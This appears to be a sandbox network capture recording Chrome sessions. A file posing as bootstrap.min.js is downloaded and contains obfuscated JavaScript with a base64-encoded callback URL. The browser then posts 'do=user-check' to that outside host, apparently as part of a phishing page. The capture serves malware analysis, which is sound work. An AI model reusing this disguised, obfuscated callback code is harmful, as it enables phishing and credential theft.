2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 6e 6f 77 2c 73 75 70 70 6f 72 74 3a 6f 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 2e 66 6e 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 29 2c 72 2e 65 61 63 68 28 22 42 6f 6f 6c 65 61 6e 20 4e 75 6d 62 65 72 20 53 74 72 69 6e 67 20 46 75 6e 63 74 69 6f 6e 20 41 72 72 61 79 20 44 61 74 65 20 52 65 67 45 78 70 20 4f 62 6a 65 63 74 20 45 72 72 6f 72 20 53 79 6d 62 6f 6c 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6a 5b 22 5b 6f 62 6a 65 63 74 20 22 2b 62 2b 22 5d 22 5d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 76 61 72 20 62 3d 21 21 61 26 26 22 6c 65 Data Ascii: now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"le
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 22 29 22 29 2c 43 4c 41 53 53 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 5c 5c 2e 28 22 2b 4c 2b 22 29 22 29 2c 54 41 47 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 22 2b 4c 2b 22 7c 5b 2a 5d 29 22 29 2c 41 54 54 52 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 29 2c 50 53 45 55 44 4f 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4e 29 2c 43 48 49 4c 44 3a 6e 65 77 20 52 65 67 45 78 70 28 22 5e 3a 28 6f 6e 6c 79 7c 66 69 72 73 74 7c 6c 61 73 74 7c 6e 74 68 7c 6e 74 68 2d 6c 61 73 74 29 2d 28 63 68 69 6c 64 7c 6f 66 2d 74 79 70 65 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 65 76 65 6e 7c 6f 64 64 7c 28 28 5b 2b 2d 5d 7c 29 28 5c 5c 64 2a 29 6e 7c 29 22 2b 4b 2b 22 2a 28 3f 3a 28 5b 2b 2d 5d 7c 29 22 2b 4b 2b 22 2a 28 5c 5c 64 2b 29 7c 29 29 22 2b 4b Data Ascii: ")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"\|[])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only\|first\|last\|nth\|nth-last)-(child\|of-type)(?:\\("+K+"(even\|odd\|(([+-]\|)(\\d)n\|)"+K+"(?:([+-]\|)"+K+"*(\\d+)\|))"+K
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-12-24 10:55:18 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49722	170.106.97.198	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:22 UTC	404	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 5889631857-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:22 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553312 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 24 Dec 2024 10:55:22 GMT ETag: "d66f1776b6aa9ef7a879022f4f2da217" Last-Modified: Tue, 17 Dec 2024 10:29:56 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 15371234411227890384 x-cos-request-id: Njc2YTkzMWFfZWM4OWQ4MWVfYjllNV8xZWJhYWVh
2024-12-24 10:55:22 UTC	7778	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 74 63 6d 31 76 62 6d 56 35 4c 6d 46 77 63 47 4e 76 64 58 4a 30 63 32 56 79 64 6d 6c 6a 5a 58 4d 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 75 73 2c 5c Data Ascii: var file = "aHR0cHM6Ly9tcm1vbmV5LmFwcGNvdXJ0c2VydmljZXMuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\
2024-12-24 10:55:22 UTC	8184	IN	Data Raw: 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 27 2c 27 78 2d 77 69 64 74 68 3a Data Ascii: 'h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle','x-width:
2024-12-24 10:55:22 UTC	8184	IN	Data Raw: 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 74 65 27 2c 27 68 57 4e Data Ascii: der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20te','hWN
2024-12-24 10:55:22 UTC	8184	IN	Data Raw: 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f 72 64 27 2c Data Ascii: 'PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bord',
2024-12-24 10:55:22 UTC	8184	IN	Data Raw: 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 Data Ascii: #','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','ottom:\x2
2024-12-24 10:55:22 UTC	16368	IN	Data Raw: 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d 73 68 61 27 2c 27 23 65 Data Ascii: dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-sha','#e
2024-12-24 10:55:23 UTC	8184	IN	Data Raw: 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e 36 36 36 27 2c 27 5c 78 Data Ascii: ,'8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.666','\x
2024-12-24 10:55:23 UTC	16384	IN	Data Raw: 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c 6f 72 3a 27 2c 27 6c Data Ascii: ,'fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-color:','l
2024-12-24 10:55:23 UTC	8168	IN	Data Raw: 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 2d 77 65 27 2c 27 6f 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 65 52 66 74 51 57 76 6a 57 33 27 2c 27 7d 5c 78 32 30 7d 5c 78 32 30 23 69 63 6f 6e 6f 27 2c 27 75 73 5c 78 32 30 7b 5c 78 Data Ascii: lid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;\x20borde','ne-block;\x20','enter;\x20-we','o\x20}\x20.navba','eRftQWvjW3','}\x20}\x20#icono','us\x20{\x
2024-12-24 10:55:23 UTC	8184	IN	Data Raw: 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 42 79 4d 62 6d 50 62 6e 48 4e 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 78 6c 2d 27 2c 27 6f 72 64 69 6e 61 6c 2d 67 72 27 2c 27 7d 5c 78 32 30 2e 69 6e 76 61 6c 69 64 27 2c 27 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 6d 6f 64 61 27 2c 27 70 79 2d 6c 67 2d 31 5c 78 32 30 7b 5c 78 32 30 27 2c Data Ascii: a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','ByMbmPbnHN',',\x20.col-xl-','ordinal-gr','}\x20.invalid','em\x20}\x20.moda','py-lg-1\x20{\x20',

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49725	104.21.33.126	443	6844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 10:55:22 UTC	580	OUT	POST /next.php HTTP/1.1 Host: mrmoney.appcourtservices.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 10:55:22 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-12-24 10:55:25 UTC	935	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 10:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r75PldcY2WgFUfdkHVi3I6KHFHGGkRnCksNfLyjkv7pUbWMTkq9uyDdmy%2BQOSWqy5vaQvuFg0YXUgTsXenrKT9VuT0TQ5o%2F1FG5OHydUqlnDCiZMJxDRVBLtTdaqqyuqYVL6hny%2FZ9RaMbfV1GKB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f700f09db74423a-EWR alt-svc: h3=":443"; ma=86400 server-timing: 